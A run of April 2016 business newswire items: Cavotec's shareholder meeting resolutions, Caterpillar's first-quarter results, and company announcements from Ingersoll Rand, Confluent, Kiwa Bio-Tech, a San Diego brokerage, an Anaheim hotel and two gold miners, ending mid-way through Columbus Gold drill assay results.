nominal value of the registered shares from CHF 1.38 by CHF 0.03 to CHF 1.35 and to use the nominal value reduction amount for repayment to the shareholders;b) to confirm as a result of the report of the auditors, that the claims of the creditors are fully covered notwithstanding the capital reduction;c) to amend article 4, article 4ter, article 4quater para. 1, article 4quinquies, article 4sexies and article 4septies of the Articles of Association according to the following wording as per the date of the entry of the capital reduction in the commercial register (the proposed amendments are in italics):Article 4"The share capital of the Company is CHF 106,023,600 and is divided into 78,536,000 fully paid registered shares. Each share has a par value of CHF 1.35."Article 4ter"The share capital may be increased in an amount not to exceed CHF 963,862.20 through the issuance of up to 713,972 fully paid registered shares with a par value of CHF 1.35 per share by the issuance of new shares to employees of the Company and group companies. The pre-emptive rights and advance subscriptions rights of the shareholders of the Company shall thereby be excluded. The shares or rights to subscribe for shares shall be issued to employees pursuant to the Long Term Incentive Plan approved by the Board of Directors. Shares or subscription rights may be issued to employees at 10% discount compared with the market price quoted on the stock exchange of that time."Article 4quater para. 1"The Board of Directors shall be authorized to increase the share capital in an amount not to exceed CHF 9,639,896.40 through the issuance of up to 7,140,664 fully paid registered shares with a par value of CHF 1.35 per share by not later than April 23, 2016."Article 4quinquies"The share capital may be increased in an amount not to exceed CHF 963,862.20 through the issuance of up to 713,972 fully paid registered shares with a par value of CHF 1.35 per share by the issuance of new shares to employees of the Company and group companies. The pre-emptive rights and advance subscriptions rights of the shareholders of the Company shall thereby be excluded. The shares or rights to subscribe for shares shall be issued to employees pursuant to the Long Term Incentive Plan 2013 approved by the Board of Directors. Shares or subscription rights may be issued to employees at 10% discount compared with the market price quoted on the stock exchange of that time."Article 4sexies"The share capital may be increased in an amount not to exceed CHF 963,862.20 through the issuance of up to 713,972 fully paid registered shares with a par value of CHF 1.35 per share by the issuance of new shares to employees of the Company and group companies. The pre-emptive rights and advance subscriptions rights of the shareholders of the Company shall thereby be excluded. The shares or rights to subscribe for shares shall be issued to employees pursuant to the Long Term Incentive Plan 2014 approved by the Board of Directors. Shares or subscription rights may be issued to employees at 10% discount compared with the market price quoted on the stock exchange of that time."Article 4septies"The share capital may be increased in an amount not to exceed CHF 1,060,236.00through the issuance of up to 785,360 fully paid registered shares with a par value of CHF 1.35 per share by the issuance of new shares to employees of the Company and group companies. The pre-emptive rights and advance subscriptions rights of the shareholders of the Company shall thereby be excluded. The shares or rights to subscribe for shares shall be issued to employees pursuant to the Long Term Incentive Plan 2015 approved by the Board of Directors. Shares or subscription rights may be issued to employees at 10% discount compared with the market price quoted on the stock exchange of that time."Explanatory notes:In the event of approval of the proposed capital reduction, the nominal value reduction amount shall be repaid to shareholders. The capital reduction will be implemented after publication of the general meeting resolution in the Swiss Official Gazette of Commerce in accordance with Art. 733 Swiss Code of Obligations and the expiration of the 2 months notice period provided therein. Subject to approval by the general shareholders' meeting and to entry of the reduction in the Commercial Register, CHF 0.03 per share will be repaid to the shareholders, holding shares on July 4 prospectively on July 11, 2016. The capita reduction amount is paid out without deduction of Swiss withholding tax.5. Creation of additional contingent share capital in connection with employee participationThe Board of Directors proposes to create additional contingent share capital in an amount not to exceed CHF 1,060,236.00 enabling the issuance of up to 785,360 additional shares with a nominal value of CHF 1.35 each in connection with employee participation by inserting the new article 4octies of the Articles of Association to read as follows:"Article 4octies - Contingent Share CapitalThe share capital may be increased in an amount not to exceed CHF 1,060,236.00 through the issuance of up to 785,360 fully paid registered shares with a par value of CHF 1.35 per share by the issuance of new shares to employees of the Company and group companies. The pre-emptive rights and advance subscriptions rights of the shareholders of the Company shall thereby be excluded. The shares or rights to subscribe for shares shall be issued to employees pursuant to the Long Term Incentive Plan 2016 approved by the Board of Directors. Shares or subscription rights may be issued to employees at a 10% discount compared with the market price quoted on the stock exchange of that time."Explanatory notes:The proposed additional new contingent share capital is intended to help Cavotec SA retaining key managers in connection with Cavotec SA's Long Term Incentive Plan 2016 (LTIP 2016). The Chairman of the Remuneration Committee will present the LTIP 2016 in detail at the OGM. Information regarding the LTIP is available on www.cavotec.com.6. Creation of authorized share capitalThe OGM approved the Board of Directors' proposal to create authorized share capital in an amount not to exceed CHF 21,204,720, enabling the issuance of up to 15,707,200 Cavotec SA shares by not later than April 22, 2018, by amending article 4quater, para. 1 of the Articles of Association with the following wording:"The Board of Directors shall be authorized to increase the share capital in an amount not to exceed CHF 21,204,720 through the issuance of up to 15,707,200 fully paid registered shares with a par value of CHF 1.35 per share by not later than April 22, 2018. Increases in partial amounts shall be permitted."Explanatory notes:The current provision regarding authorized share capital, article 4ter of the Articles of Association, has been approved by the AGM 2012 and renewed by the OGM 2014 and allowed for the creation of authorized capital for up to 14,279,444 shares, corresponding to 20% of all issued shares. Since then, the authorized share capital has been used for the issuing of 7,138,780 new shares that were subscribed by Bure Equity AB, as per Cavotec's press release of September 12, 2014. The authorized share capital is intended to enhance Cavotec SA's financial flexibility, in view of future acquisitions, while also enhancing the liquidity of the Cavotec share. Since the deadline of the authorized share capital approved in 2012 and renewed in 2014 will expire shortly, the purpose of this amendment is, on one hand, to extend said deadline for another two years. Furthermore, the Board of Directors proposes to rebuild and adapt the maximum number of shares to be issued under this article taking into account the currently issued shares. The proposed 15,707,200 correspond to 20% of all currently issued shares of Cavotec SA.7. Approval of RemunerationThe OGM approved the maximum aggregate amount (covering fixed and variable remuneration) each of:-- the remuneration for the Board of Directors for the next business year -- the remuneration for the CEO for the next business year.7.1 Approval of Remuneration for the Board of DirectorsThe OGM approved the aggregate amount of CHF 1,000,000 for the remuneration for the Board of Directors for the business year 2017. Please note that this amount does not include the remuneration of the CEO (who is also member of the Board of Directors). The total aggregate amount of the CEO's remuneration is set forth in section 7.2.7.2 Approval of Remuneration of the CEOThe OGM approved the aggregate amount of CHF 1,200,000 for the remuneration for the CEO for the business year 2017.8. Re-election of seven directors, election of two new Directors and nomination of the Chairman of the Board of directorsIn accordance with the Nomination Committee's proposal, Fabio Cannavale, Leena Essen, Nicola Gerber, Erik Lautmann, Ottonel Popesco, Patrik Tigerschiold and Stefan Widegren were re-elected as Directors for a further one-year term of office expiring at the OGM to be held in 2017. In addition, Helena Thrap-Olsen and Helene Mellquist were elected as Directors for a one-year term of office expiring at the OGM to be held in 2017. Stefan Widegren was re-elected as Chairman of the Board of Directors for a further one-year term of office expiring at the OGM to be held in 2017.9. Nominations for the Remuneration CommitteeIn accordance with the Nomination Committee's proposal Erik Lautmann, Helene Thrap-Olsen and Patrik Tigerschiold were elected as members of the Remuneration Committee.With respect to the requirements in the Code that all members of the Remuneration Committee, apart from the chairman of the Remuneration Committee, are to be independent of the company and its executive management, the Nomination Committee has come to the conclusion that all candidates proposed by the Board of Directors are independent of the company and its executive management.10. Re-election of Independent AuditorIn accordance with the Nomination Committee's proposal, PricewaterhouseCoopers SA, Lugano, Switzerland was re-elected as Cavotec's independent auditor for the business year 201611. Election of an Independent ProxyIn accordance with the Board of Directors' proposal, Mr. Franco Brusa, Attorney-at-law, Via G.B. Pioda 5, Lugano, Switzerland was elected as Cavotec's independent proxy for the OGM 2017.ENDSFor more information please contact:Michael ScheepersChief Communications Officer & IRmichael.scheepers@cavotec.com or +41795024010The information in this release is subject to the disclosure requirements of Cavotec SA under the Swedish Securities Market Act and/or the Swedish Financial Instruments Trading Act. This information was publicly communicated on 22 April 2016, 13:30 CESTAttachment:https://cns.omxgroup.com/cds/DisclosureAttachmentServlet?messageAttachmentId=557713
SAN DIEGO, CA--(Marketwired - April 22, 2016) - "The Network" is an innovative real estate campaign launched by P.S. Platinum to help potential buyers and sellers quickly connect to a diverse group of property specialists.

Mary Mac Capener and her fellow real estate agents at P.S. Platinum have built a network of client-centric professional connections to give buyers and sellers an advantage over the competition. While most people who look to buy or sell a home are paired with a real estate agent, P.S. Platinum's innovative campaign, called "The Network", aims to show that partnering with experts in related fields allows clients to sell a house faster -- or find their dream home.

According to luxury real estate agent Mary Mac Capener, The Network facilitates a client-focused approach to buying or selling a house. Since the agents of P.S. Platinum already have relationships with a variety of valuable connections -- such as contractors, landscapers, designers, financial planners, and attorneys -- the agents' clients are able to reap the benefits of these relationships as well. By building a larger, more diverse, and knowledgeable team when buying or selling a house, the client can find support in all areas related to real estate. In addition, since each team is curated based upon the individual needs of the client, each buyer or seller can utilize services custom-tailored to achieve their unique goals.

For example, Capener has a long-standing professional partnership with Rancho Santa Fe interior designer Amy Meier. Since Capener has seen how Meier can both transform a space and increase a home's value, she recommends many of her clients renovate now rather than later. According to Capener, homeowners usually choose to renovate in order to increase the value of an investment or to improve the quality of the space to better suit their wants and needs. Meier's goal is to work with Capener's clients and show them how they can achieve both goals simultaneously. In addition to adding value to a home with prudent renovations, Meier believes careful design decisions can ultimately make a space work more fluidly with the client's lifestyle, ultimately increasing the client's overall happiness and satisfaction.

In a recent blog post, titled "Personalized Real Estate To Find Your Dream House," Capener elaborates on how P.S. Platinum's client-focused team approach can help a buyer discover a home's maximum potential during a walkthrough. "Amy [Meier] adds a whole new element to the process, opening up a home to previously unimagined remodeling possibilities," says Capener. While Capener provides clients with her expertise in current market value and neighborhood trends, Meier is able to help buyers see how each room can be tailored to achieve their desires. When combined, these skills often allow Capener's buyers to purchase their home at a lower price, complete renovations to complement their lifestyle, and quickly add significant value to the property.

About Mary Mac Capener

Mary Mac Capener provides her clients with exclusive access to her network of luxury real estate professionals throughout the San Diego area, including Rancho Santa Fe, Solana Beach and Del Mar. She aims to enhance the experience for her clients by tapping into the expertise of well-known and diverse authorities around San Diego, including financial planners, interior designers, and more. Mary Mac Capener is available for interview upon request.

About P.S. Platinum

P.S. Platinum is San Diego's premier boutique luxury brokerage. "The Network" is designed to provide their clients with exceptional support when buying or selling a home. Their experienced agents have connections to a matrix of experts in all fields related to real estate. With P.S. Platinum, clients have the opportunity to create a network of resources to achieve both their present and future real estate goals.

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Mary Mac Capener

marymac@psplatinum.com

(858) 847-8581


Ingersoll Rand (NYSE: IR), a world leader in creating comfortable, sustainable and efficient environments, is named to Corporate Responsibility (CR) Magazine's annual 100 Best Corporate Citizens List for the third consecutive year.

The company is named to the list based on its disclosure and performance in seven key areas: climate change, employee relations, environmental, financial, governance, human rights and philanthropy.

"Ingersoll Rand's placement on the 2016 100 Best Corporate Citizens List demonstrates that our formula is working well and further underscores the strength of our strategy, innovation and the commitment of our employees to help our customers meet their goals and make the world a better place to live," said Gary Michel, senior vice president and president of Residential Heating, Ventilation and Air Conditioning at Ingersoll Rand. "We are pleased to be recognized for our transparency and responsible business practices and will continue to work tirelessly to solidify our position as a leader in global corporate citizenship."

The 100 Best Corporate Citizens List was first published in 1999 in Business Ethics Magazine, and has been managed by CR Magazine since 2007. To compile the list, every company in the Russell 1000, the highest ranked stocks in the Russell 3000 Index of publicly held U.S. companies, is ranked according to 260 data points. The methodology for generating the list is governed by the Ratings and Rankings Thought Leadership Council of the Corporate Responsibility Association (CRA).

"CR Magazine's 100 Best Corporate Citizens is the only ranking that doesn't rely on self-reporting," said Elliot Clark, CEO of CR Magazine. "Each year, we measure the most transparent companies who report on their responsible practices. We congratulate those honored on this year's 100 Best Corporate Citizens List for their commitment to corporate responsibility."

Ingersoll Rand Climate Commitment

Ingersoll Rand made a Climate Commitment to reduce greenhouse gas (GHG) emissions from its products and operations by 2030. The Ingersoll Rand Climate Commitment pledged to:

Cut the refrigerant GHG footprint of its products by 50 percent by 2020 and incorporate lower global warming potential (GWP) alternatives across its portfolio by 2030;

Invest $500 million in product-related research and development over the next five years to fund the long-term reduction of GHG emissions; and

Reduce company operations-related GHG emissions by 35 percent by 2020.

To date, the company's Climate Commitment has supported the avoidance of approximately 2 million metric tons of CO2e globally, which is the equivalent of avoiding annual CO2 emissions from energy used in more than 270,000 homes or more than 2.1 billion pounds of coal burned. By 2030, the company expects to reduce its carbon footprint by 50 million metric tons.

About Ingersoll Rand

Ingersoll Rand (NYSE:IR) advances the quality of life by creating comfortable, sustainable and efficient environments. Our people and our family of brands including Club Car, Ingersoll Rand, Thermo King and Trane - work together to enhance the quality and comfort of air in homes and buildings; transport and protect food and perishables; and increase industrial productivity and efficiency. We are a $13 billion global business committed to a world of sustainable progress and enduring results. For more information, visit www.ingersollrand.com.

View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005144/en/

Contacts:

Ingersoll Rand

Misty Zelent, 704-655-5324

mzelent@irco.com
VANCOUVER, BRITISH COLUMBIA -- (Marketwired) -- 04/22/16 -- Newmarket Gold ("Newmarket" or the "Company") (TSX: NMI)(OTCQX: NMKTF) today provided details for its Annual General Meeting of shareholders to be held on Wednesday, May 25, 2016 in Toronto, Ontario.

A live audio webcast of the Annual General Meeting beginning at approximately 4:00 p.m. (ET) will be available for access at www.newmarketgoldinc.com in the Annual Meeting section under the Investor Relations tab.

Presentation slides, which accompany the webcast, will be made available prior to the start of the meeting and will be available for access at www.newmarketgoldinc.com in the Annual Meeting section under the Investor Relations tab.

About Newmarket Gold Inc.

Newmarket Gold is a Canadian-listed gold mining and exploration company with three 100% owned operating mines across Australia. The Company is focused on creating substantial shareholder value by maintaining a strong foundation of quality gold production, over 200,000 ounces annually, generating free cash flow and maintaining a large resource base as it executes a clearly defined gold asset consolidation strategy. The Company is focused on sustainable operating performance, a disciplined approach to growth, and building gold reserves and resources while maintaining the high standards that the Newmarket Gold core values represent.

To learn more about Newmarket Gold, visit our website at www.newmarketgoldinc.com.

Contacts:

Laura Lepore

Director, Investor Relations

Newmarket Gold, Inc.

T: 416.847.1847

E: llepore@newmarketgoldinc.com

www.newmarketgoldinc.com




WASHINGTON (dpa-AFX) - Gold prices were flat Friday morning as stocks looked for direction ahead of what may be a quiet session. June gold was down 3 dollars at $1247.20 an ounce, unable to extend strong gains from earlier in the week. At one point, gold approached its yearly highs but topped out near $1270. Silver has leveled off near $17 after hitting 11-month highs earlier in the week. Traders are keeping a close eye on developments in Europe, where the UK continues to debate a possible exit from the European Union. Markit is set to release flash estimate of its U.S. manufacturing PMI for April at 9:45 am ET. Economists expect the index to rise to 52 from 51.4 in March. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.


PEORIA (dpa-AFX) - Caterpillar Inc. (CAT) reported a plunge in first-quarter of 2016 profit from the prior year. It cuts its profit outlook for fiscal year 2016, due to expected decline in sales and revenues and an increase in expected restructuring costs. It lowered the midpoint of the outlook for 2016 sales and revenues about 2 percent.



'While first-quarter results were about as we expected, sales and profit were well below the first quarter of 2015. Sales declined across the company with substantial reductions in construction, oil and gas, mining and rail,' said Caterpillar Chairman and Chief Executive Officer Doug Oberhelman.



Adjusted earnings per share missed analysts' expectations, while quarterly revenues topped their estimates.



In pre-market trade, CAT is currently trading at $77.50, down $1.16 or 1.47 percent.



Profit attributable to common stockholders plunged to $271 million or $0.46 per share from $1.245 billion or $2.03 per share in the same quarter last year.



Excluding restructuring costs, profit per share was $0.67, compared with $2.07 per share in the first quarter of 2015. Analysts polled by Thomson Reuters expected the company to report earnings of $0.68 per share for the first-quarter. Analysts' estimates typically exclude special items.



As discussed in the year-end 2015 earnings release, Caterpillar has implemented a change in accounting principle for pension and OPEB costs. Under the new accounting principle, the company will recognize actuarial gains and losses as a mark-to-market gain or loss when they occur rather than amortizing them to earnings over time.



First-quarter 2015 profit per share has been recast from $1.81 per share to $2.03 per share. Excluding restructuring costs first-quarter 2015 profit per share has been recast from $1.86 per share to $2.07 per share.



Caterpillar worldwide, full-time employment was about 101,400 at the end of the first quarter of 2016, compared with about 113,300 at the end of the first quarter of 2015, a decrease of about 11,900 full-time employees. The flexible workforce decreased by about 3,200 for a total decrease in the global workforce of about 15,100. The decrease was primarily the result of restructuring programs and lower production volumes.



Sales and revenues for the first-quarter were $9.46 billion, down from $12.70 billion in the first quarter of 2015. Wall Street expected revenues of $9.39 billion for the quarter.



The company said it has seen recent increases in commodity prices, some signs of improvement in construction equipment in China and better order activity than it expected at bauma. While it is seeing a few positive signals, other parts of business remain challenged. As a result, it has lowered the midpoint of the outlook for 2016 sales and revenues about 2 percent.



Sales and revenues in 2016 are expected to be in a range of $40 billion to $42 billion with a midpoint of $41 billion. Analysts expect the company to report revenues of $40.61 billion for fiscal year 2016. The previous outlook was a range of $40 billion to $44 billion with a midpoint of $42 billion.



The decline in the midpoint of the sales and revenues outlook range is a result of several factors that, while not individually large in the context of the outlook, collectively add up to about $1 billion. Those factors include lower transportation sales, lower mining sales and weaker price realization than previously expected.



The profit outlook at the midpoint of the sales and revenues range is now $3.00 per share, or $3.70 per share excluding restructuring costs. Analysts expect annual earnings of $3.59 per share. The previous profit outlook was $3.50 per share, or $4.00 per share excluding restructuring costs at the midpoint of the previous sales and revenues outlook. The expected decline in sales and revenues and an increase in expected restructuring costs are the primary reasons for the decline in the profit outlook.



Restructuring costs are now expected to be about $550 million in 2016, up $150 million from the previous outlook. The decision to end production of on-highway vocational trucks is the primary reason for the increase in restructuring costs.



Separately, Cat Financial reported that its first-quarter 2016 profit was $100 million, a $33 million, or 25 percent, decrease from the first quarter of 2015.



Cat Financial's first-quarter 2016 revenues of $643 million, a decrease of $46 million, or 7 percent, compared with the first quarter of 2015. The decrease in revenues was primarily due to a $23 million unfavorable impact from lower average earning assets and a $13 million unfavorable impact from lower average financing rates.



Copyright RTT News/dpa-AFX

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Caterpillar Inc. Files Form 8-K

PEORIA, Illinois, April 22, 2016 - Caterpillar Inc. (NYSE: CAT / NYSE Euronext: CATR) informs its stockholders that today, a Form 8-K has been furnished to the U.S. Securities and Exchange Commission ("SEC") with respect to first quarter 2016 financial results.

Caterpillar files electronically with the SEC required reports on Form 8-K, Form 10-Q, Form 10-K and Form 11-K; proxy materials; ownership reports for insiders as required by Section 16(a) of the U.S. Securities Exchange Act of 1934, as amended; and registration statements on Forms S-3 and S-8, as necessary; and other forms or reports, as required. All of the forms and reports filed electronically with the SEC are available on the SEC Internet site (www.sec.gov).

Caterpillar also maintains an Internet site (www.Caterpillar.com) and copies of its annual report on Form 10-K, quarterly reports on Form 10-Q, current reports on Form 8-K and any amendments to these reports filed or furnished with the SEC are available free of charge through Caterpillar's Internet site (www.Caterpillar.com/secfilings) as soon as reasonably practicable after the relevant document has been filed with the SEC.

CONTACT: Rachel Potts, Corporate Public Affairs, +1-309-675-6892
ANAHEIM, CA -- (Marketwired) -- 04/22/16 -- It's the happiest place on earth, and we're not talking about Disneyland. The Courtyard Anaheim Theme Park Entrance has skyrocketed to the top of five (and counting) guest-reviewed websites since opening seven months ago. And with its winning combination of family-friendly amenities and unbeatable location, its popularity shows no signs of slowing down.

The property's meteoric rise is virtually unheard of among hotels near Disneyland. With more than 6,000 "Likes" on its Facebook page, it is the top guest-rated hotel in Anaheim on Marriott.com, Expedia.com, Booking.com and Hotels.com. And on TripAdvisor.com, it reigns as the No. 1 Disneyland hotel despite the countless other options, many of them also new.

"When guests arrive at the Courtyard Anaheim Theme Park Entrance, they encounter something entirely original," said the general manager Bill Cleaver. "Our hotel was designed specifically for families. And the fact that we want our guests to have fun shows in everything we do, from our service to our amenities."

Located closer to the theme park's main entrance than two of the three Disney hotels, this property immediately distinguishes itself from other Anaheim hotels. Its welcoming Spanish Colonial architecture and California "surf theme" in the guest rooms (replete with full wall murals of ocean waves) tell visitors that this is a hotel in tune with its neighborhood. And the fantastic views of Disneyland fireworks from various vantage points around the hotel don't hurt either.

But it's the range of amenities that really set it apart. From its on-site waterpark and multiple pools to its lavishly proportioned guest rooms, the property eclipses every other hotel near Disneyland on Harbor Boulevard and beyond. Accommodations feature bunkbeds and luxuriously modern bathrooms - even the smallest rooms devote 100 of their 532 sq. ft. to the bathroom. The two-chamber bathroom, meanwhile, with its separate showers and dual vanities are simply unheard of elsewhere.

The hotel's innovative approach to hospitality has even garnered the attention of Mr. Marriott himself. During a recent visit, he congratulated the staff on reinventing the Courtyard experience, proving yet again that the property is as inspiring as it is impressive.

About the Courtyard Anaheim Theme Park Entrance

Voted the top hotel in Anaheim by countless travelers, the Courtyard Anaheim Theme Park Entrance welcomes guests with deluxe accommodations, five dining options (including an on-site Starbucks) and family-friendly amenities. Cool off at the Surfside Waterpark, which boasts six waterslides and multiple swimming pools, or fit in a workout at the state-of-the-art Life Fitness Center. Guests appreciate the hotel's unparalleled access to Disneyland, located just steps away, as well as the beautifully-appointed guest rooms and suites. Up to six people can bed down in any of the guest rooms, which feature bunkbeds, refrigerators, microwaves, free high-speed Internet access, flat-screen LCD televisions and generously sized bathrooms. As the best Anaheim hotel near Disney, this property ensures you and your family enjoy every minute of your theme-park adventure!

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CONTACT:

Courtyard Anaheim Theme Park Entrance

1420 South Harbor Boulevard

Anaheim, California 92802

1-714-254-1442

http://www.marriott.com/hotels/travel/snadt-courtyard-anaheim-theme-park-entrance/




PALO ALTO, CA -- (Marketwired) -- 04/22/16 -- Confluent, founded by the creators of Apache Kafka, today announced growing support within the Kafka and Confluent Partner ecosystem to build and deploy new, Confluent-certified connectors through Kafka Connect. Since Kafka Connect was released in February, Confluent, Kafka core committers, the open source community and ecosystem partners have developed more than a dozen connectors including HDFS, JDBC, Cassandra and S3, with more in development from leading technology companies. Now, Kafka developers can quickly and easily connect various data sources into their stream data platforms.

Kafka Connect is an open source framework for developing the producer (source) and consumer (sink) applications that link external data stores to the Kafka cluster. It simplifies and standardizes connectors at the API level, delivering a Confluent-certified code base that supports the complete Kafka streaming functionality while enabling customizations for expressing the unique features of any data source. Connector developers leveraging the Kafka Connect framework have been able to deliver the same functionality as their earlier offerings with thousands fewer lines of code. First-time developers are able to build Kafka applications that integrate data sources supporting Kafka Connect connectors in a fraction of the time that would previously have been required.

Developers and users looking to integrate streaming data into their business functions should visit the repository of currently available connectors. These offerings illustrate the key advantages of the Kafka Connect framework, including pre-defined delivery semantics, fault tolerance (for both producers and consumers), schema management for the topic streams, and superior deployment/monitoring capabilities.

"Since releasing the Kafka Connect framework just a few months ago, we've been actively working with dozens of partners to build the connectors that will help Kafka users get the most from their data systems," said Jabari Norton, vice president of business development at Confluent. "Kafka adoption is skyrocketing, and Kafka Connect is helping users uncover business insights hidden in their data."

The Bay Area Apache Kafka community will hold its first Stream Data Hackathon on Monday, April 25, the evening before Kafka Summit, in San Francisco. The event, which is at capacity, will aim to further boost the growing ecosystem of Kafka connectors. For more information, please visit http://kafka-summit.org/hackathon/.

About Apache Kafka

Apache Kafka is an open source technology that acts as a real-time, fault tolerant, highly scalable messaging system. It is widely adopted for use cases ranging from collecting user activity data, logs, application metrics, stock ticker data and device instrumentation. Its key strength is its ability to make high volume data available as a real-time stream for consumption in systems with very different requirements -- from batch systems like Hadoop, to real-time systems that require low-latency access, to stream processing engines that transform the data streams as they arrive. This infrastructure lets you build around a single central nervous system transmitting messages to all the different systems and applications within a company.

About Confluent

Confluent, founded by the creators of Apache Kafka, enables organizations to harness business value from stream data. The Confluent Platform manages the barrage of stream data and makes it available throughout an organization. It provides various industries, from retail, logistics and manufacturing, to financial services and online social networking, a scalable, unified, real-time data pipeline that enables applications ranging from large volume data integration to big data analysis with Hadoop to real-time stream processing. Backed by Benchmark, Data Collective, Index Ventures and LinkedIn, Confluent is based in Palo Alto. To learn more, please visit www.confluent.io. Download Apache Kafka and Confluent Platform at www.confluent.io/download.

Jill Reed or Alex Cardenas

Highwire PR for Confluent

confluent@highwirepr.com

(415) 963-4174, ext. 5




CLAREMONT, CA -- (Marketwired) -- 04/22/16 -- Kiwa Bio-Tech Products Group Corporation (OTC PINK: KWBT) reported that On April 15, 2016, Kiwa signed a strategic partnership agreement with Xinjiang Fruit Datang Silkroad E-Commerce Co., Ltd. The partnership will serve as an additional sales channel for the Company's fertilizer products in Xinjiang, China. Datang Silkroad, an e-commerce company of agricultural products partially owned by the Xinjiang local government, together with Xinjiang Agricultural Materials Group, has a 40% market share of fertilizers in Xinjiang. The strategic partnership with these two state-owned companies will greatly enhance Kiwa's market position in Xinjiang. According to the sales plan developed by the partners, biological organic fertilizers and the special fruit tree fertilizers will be the principal products in the market, and it is projected that sales volume in the market will approximate 10,000 tons annually.

Jimmy Zhou, Kiwa's CEO, said, "In addition to Hunan, Hainan and Heilongjiang provinces, Xinjiang is also a key market for the company. Xinjiang currently has over 74 million Mu (approximately 12 million acres) under cultivation, mainly comprising cotton, fruits and grains. Through the strategic partnership with local companies in Xinjiang, our fertilizer sales in the region should be greatly enhanced." Zhou also said, "we are anticipating a sales volume of Kiwa products of approximately $20 million through Kangtan Gerui (Beijing) Bio-Tech Co., Ltd. (Gerui), Kiwa's local distributor. Notwithstanding, the Company does not expect to record any revenues from these sales in the first quarter of 2016 and will not see actual cash receipts until at least the 3rd quarter of 2016. Kiwa currently plans to acquire Gerui in the third quarter of 2016."

About Kiwa Bio-Tech Products Group Corporation

We develop, manufacture, distribute and market innovative, cost-effective and eco-friendly bio-technological products for agriculture. Our main product groups are bio-fertilizer, biologically enhanced livestock feed. Our products are designed to enhance the quality of human life by increasing the value, quality and productivity of crops and decreasing the negative environmental impact of chemicals and other wastes. Our businesses include bio-fertilizer and bio-enhanced feed.

Kiwa's strategy is to implement increased visibility for marketing Kiwa's current bio-fertilizer products, together with the development of a "green agriculture" safe food platform in China. Our goal is to build market penetration for our Kiwa brand in China's trillion dollar "green" agricultural produce market.

For more information on Kiwa and its products, please refer to the Company's website at www.kiwabiotech.com or the Company filings with the United States Securities and Exchange Commission, available for free at www.sec.gov.

This press release contains information that constitutes forward-looking statements made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995. Any such forward-looking statements involve risk and uncertainties that could cause actual results to differ materially from any future results described by the forward-looking statements. Risk factors that could contribute to such differences include those matters more fully disclosed in the Company's reports filed with the U.S. Securities and Exchange Commission. The forward-looking information provided herein represents the Company's estimates as of the date of the press release, and subsequent events and developments may cause the Company's estimates to change. The Company specifically disclaims any obligation to update the forward-looking information in the future. Therefore, this forward-looking information should not be relied upon as representing the Company's estimates of its future financial performance as of any date subsequent to the date of this press release.

CONTACT:

Kiwa Bio-Tech Products Group Corporation

Yvonne Wang

yvonne@kiwabiotech.com




VANCOUVER, BRITISH COLUMBIA -- (Marketwired) -- 04/22/16 -- Columbus Gold Corp. (TSX: CGT)(OTCQX: CBGDF) ("Columbus") is pleased to announce the completion of the 2015-2016 resource development drilling program on its 100%-owned Montagne d'Or gold project, French Guiana. Notable new results include:

-- 3.04 g/t gold over 44.9 m (36.1 m TW) including 29.01 g/t gold over 3.4 m (2.7 m TW) -- 3.38 g/t gold over 30.9 m (25.7 m TW) including 9.35 g/t gold over 7.8 m (6.5 m TW) -- 4.44 g/t gold over 34.1 m (24.0 m TW) including 10.77 g/t gold over 11.7 m -- 11.50 g/t gold over 9.3 meters (6.7 m true width)

The program amounted to 62 drill holes, for a total of 6,580 meters, designed to upgrade a portion of the Indicated resources to the Measured category as part of the on-going Bankable Feasibility Study. Twenty-seven (27) holes were completed in the principal UFZ zone and thirty-five (35) in the secondary LFZ zone.

Assay results were previously released for 35 drill holes (see News Release dated December 10, 2015). Following are the highlights from the remaining 27 holes of the program (g/t gold x true width greater than or equal to25):

---------------------------------------------------------------------------- Grade Length True Width (TW) Drill Hole Intercept (m) (g/t Gold) (m) (m) Zone ------------------ From To ---------------------------------------------------------------------------- MO-15-240 67.8 77.1 11.50 9.3 6.7 LFZ ---------------------------------------------------------------------------- MO-15-243 149.2 162.4 3.33 13.2 10.7 LFZ ------------------------------------------------------ including 154.8 161.4 5.99 6.6 5.4 ---------------------------------------------------------------------------- MO-16-246 125.7 152.7 1.58 27.0 22.3 UFZ ---------------------------------------------------------------------------- MO-16-247 159.9 183.4 2.02 23.5 19.3 UFZ ---------------------------------------------------------------------------- MO-16-248 95.9 140.8 3.04 44.9 36.1 UFZ ------------------------------------------------------ including 102.3 105.7 29.01 3.4 2.7 ---------------------------------------------------------------------------- MO0-16-249 106.0 125.5 2.18 19.5 16.6 UFZ ------------------------------------------------------ including 118.3 123.2 6.96 4.9 4.1 ---------------------------------------------------------------------------- MO-16-250 105.7 131.2 2.23 25.5 20.3 UFZ ------------------------------------------------------ including 106.7 111.0 10.77 4.2 3.4 ---------------------------------------------------------------------------- MO-16-251 49.8 72.8 1.46 23.1 17.4 UFZ ---------------------------------------------------------------------------- MO-16-255 9.1 21.0 3.89 11.9 9.1 UFZ ---------------------------------------------------------------------------- MO-16-256 45.8 67.8 2.31 22.0 17.8 UFZ ------------------------------------------------------ including 45.8 53.8 4.16 8.1 6.5 ---------------------------------------------------------------------------- MO-16-257 54.3 98.5 1.57 44.2 34.6 UFZ ---------------------------------------------------------------------------- MO-16-285 120.3 135.0 2.67 14.7 11.3 LFZ ------------------------------------------------------ including 128.0 134.3 5.73 6.33 4.9 ---------------------------------------------------------------------------- MO-16-287 14.4 52.4 1.08 38.0 28.6 UFZ ---------------------------------------------------------------------------- MO-16-288 74.7 107.7 1.53 33.0 27.8 UFZ ------------------------------------------------------ including 97.8 102.2 7.44 4.4 3.6 ------------------------------------------------------ 117.7 129.9 2.46 12.2 10.7 ---------------------------------------------------------------------------- MO-16-289 47.9 55.9 4.07 8.0 6.0 UFZ ---------------------------------------------------------------------------- MO-16-290 4.1 48.6 1.83 44.5 36.1 UFZ ---------------------------------------------------------------------------- MO-16-291 90.0 141.6 0.92 51.6 39.3 UFZ ---------------------------------------------------------------------------- MO-16-292 30.3 61.1 3.38 30.9 25.7 UFZ ------------------------------------------------------ including 53.3 61.1 9.35 7.8 6.5 ---------------------------------------------------------------------------- MO-16-294 23.8 57.9 4.44 34.1 24.0 